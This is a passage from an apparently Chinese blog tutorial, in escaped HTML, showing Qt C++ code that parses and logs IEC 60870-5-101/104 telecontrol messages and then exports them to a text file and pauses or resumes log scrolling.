&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(&amp;quot;主站总召激活确认请求报文&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(cause==&amp;nbsp;CS101_COT_ACTIVATION_CON)&amp;nbsp;//激活确认
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(&amp;quot;从站响应总召激活确认报文&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(cause&amp;nbsp;==&amp;nbsp;CS101_COT_ACTIVATION_TERMINATION)&amp;nbsp;//激活停止
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(&amp;quot;总召结束激活停止报文&amp;quot;,-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(typeId&amp;nbsp;==M_SP_NA_1){&amp;nbsp;//单点遥信（不带时标）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;&amp;quot;无&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;无时标单点遥信&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;nums;&amp;nbsp;i++)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SinglePointInformation&amp;nbsp;io&amp;nbsp;=(SinglePointInformation)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(io==nullptr){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(QString(&amp;quot;解析%1数据错误,序号=%2&amp;quot;).arg(typeStr).arg(i),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;continue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qu&amp;nbsp;=&amp;nbsp;SinglePointInformation_getQuality(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr&amp;nbsp;=&amp;nbsp;m_quMap.value(qu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(quStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr=QString(&amp;quot;异常(0x%1)&amp;quot;).arg(qu,2,16,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;address&amp;nbsp;=&amp;nbsp;InformationObject_getObjectAddress((InformationObject)&amp;nbsp;io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value&amp;nbsp;=&amp;nbsp;SinglePointInformation_getValue(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SinglePointInformation_destroy(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(QString(&amp;quot;%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6&amp;quot;).arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(typeId&amp;nbsp;==M_ME_TF_1&amp;nbsp;||&amp;nbsp;typeId==M_ME_TC_1){&amp;nbsp;//短浮点遥测带时标
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;长时标短浮点遥测&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;float&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;nums;&amp;nbsp;i++)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShortWithCP56Time2a&amp;nbsp;iotm&amp;nbsp;=(MeasuredValueShortWithCP56Time2a)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShort&amp;nbsp;io&amp;nbsp;=(MeasuredValueShort)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(io==nullptr){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(QString(&amp;quot;解析%1数据错误,序号=%2&amp;quot;).arg(typeStr).arg(i),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;continue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qu&amp;nbsp;=&amp;nbsp;MeasuredValueShort_getQuality(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr&amp;nbsp;=&amp;nbsp;m_quMap.value(qu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(quStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr=QString(&amp;quot;异常(0x%1)&amp;quot;).arg(qu,2,16,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;address&amp;nbsp;=&amp;nbsp;InformationObject_getObjectAddress((InformationObject)&amp;nbsp;io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value&amp;nbsp;=&amp;nbsp;MeasuredValueShort_getValue(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newTime&amp;nbsp;=&amp;nbsp;MeasuredValueShortWithCP56Time2a_getTimestamp(iotm);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(&amp;nbsp;typeId==M_ME_TC_1){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;短时标短浮点遥测&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;QString(&amp;quot;%5:%6.%7&amp;quot;).arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;QString(&amp;quot;%1-%2-%3&amp;nbsp;%4:%5:%6.%7&amp;quot;).arg(CP56Time2a_getYear(newTime)&amp;nbsp;+&amp;nbsp;2000)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMonth(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getDayOfMonth(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getHour(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMinute(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getSecond(newTime),2,10,QLatin1Char(&amp;#39;0&amp;#39;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg(CP56Time2a_getMillisecond(newTime),3,10,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShort_destroy(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueShortWithCP56Time2a_destroy(iotm);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;showMessage(QString(&amp;quot;%1，原因：%2，地址：%3，值：%4，品质：%5，时间：%6&amp;quot;).arg(typeStr).arg(causeStr).arg(address).arg(value).arg(quStr).arg(time),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495&lt;/pre&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;运行演示：&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910145209175748712911679.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t2&quot;&gt;&lt;/a&gt;&lt;a id=&quot;2_110&quot;&gt;&lt;/a&gt;2.报文导出&lt;/h4&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;点击报文导出按钮，导出报文到本地txt文件&lt;br/&gt;&lt;strong&gt;代码示例：&lt;/strong&gt;&lt;/p&gt;&lt;pre data-index=&quot;1&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;	QString&amp;nbsp;frame&amp;nbsp;=&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;toPlainText();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(frame.isEmpty()){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageReminder(&amp;quot;报文为空，无法导出&amp;quot;,&amp;quot;确定&amp;quot;,&amp;quot;取消&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;filename&amp;nbsp;=&amp;nbsp;QFileDialog::getSaveFileName(this,&amp;nbsp;nullptr,&amp;nbsp;nullptr,&amp;nbsp;&amp;quot;*.txt&amp;quot;).toUtf8();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QFile&amp;nbsp;file(filename);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!file.open(QIODevice::WriteOnly&amp;nbsp;|&amp;nbsp;QIODevice::Text))&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;处理错误，例如可以抛出异常或者返回错误标志
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageReminder(&amp;quot;导出到文件失败，导出文件不存在&amp;quot;,&amp;quot;确定&amp;quot;,&amp;quot;取消&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QTextStream&amp;nbsp;out(&amp;amp;file);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;out&amp;lt;&amp;lt;frame;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file.close();&amp;nbsp;//&amp;nbsp;关闭文件
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MessageReminder(&amp;quot;导出报文完成&amp;quot;,&amp;quot;确定&amp;quot;,&amp;quot;取消&amp;quot;);&lt;/pre&gt;&lt;h4 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t3&quot;&gt;&lt;/a&gt;&lt;a id=&quot;3_131&quot;&gt;&lt;/a&gt;3.报文开始停止滚动&lt;/h4&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;点击开始滚动按钮即报文实时滚动，点击停止滚动按钮，即报文暂停滚动。&lt;br/&gt;&lt;strong&gt;代码示例：&lt;/strong&gt;&lt;/p&gt;&lt;pre data-index=&quot;2&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(!m_roll)//停止滚动
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(ui-&amp;gt;textEdit-&amp;gt;toPlainText().length()&amp;gt;50000)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;clear();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ui-&amp;gt;textEdit-&amp;gt;setTextColor(QColor(Qt::black));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;typeStr&amp;nbsp;=&amp;nbsp;&amp;quot;主站：&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(type==0){
